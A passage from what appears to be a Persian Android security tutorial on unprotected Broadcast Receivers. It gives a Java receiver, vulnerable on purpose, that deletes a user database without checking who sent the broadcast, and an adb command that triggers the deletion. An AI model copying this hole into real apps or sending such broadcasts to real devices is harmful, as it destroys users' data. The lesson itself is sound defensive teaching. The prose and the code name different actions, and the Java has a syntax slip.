Skip to content

۲. گیرنده‌های پخش (Broadcast Receivers): تزریق دستورات ​

این‌ها پیام‌گیرهای اپلیکیشن هستند. آن‌ها گوش می‌دهند تا در صورت وقوع یک اتفاق (مثل رسیدن پیامک یا شارژ شدن گوشی) واکنشی نشان دهند.

  • سناریو حمله: اپلیکیشن یک Receiver دارد که با دریافت پیام REBOOT_APP دیتابیس را پاک یا بازسازی می‌کند. مهاجم یک Intent با این نام پخش می‌کند (Broadcast) و اپلیکیشن را وادار به تخریب خود می‌کند.
  • مثال کد جاوا (آسیب‌پذیر):
java
/* کدی که بدون چک کردن منبع پیام، دستور را اجرا می‌کند */
public class MyReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if (intent.getAction().equals("com.app.CLEAR_DATA")) {
            /* انجام عملیات حساس بدون احراز هویت فرستنده! */            
            context.deleteDatabase("UserDB")
        }
    }
}
bash
# ۲. فرستادن پیام مخرب به Receiver برای پاک کردن دیتا #
adb shell am broadcast -a com.app.CLEAR_DATA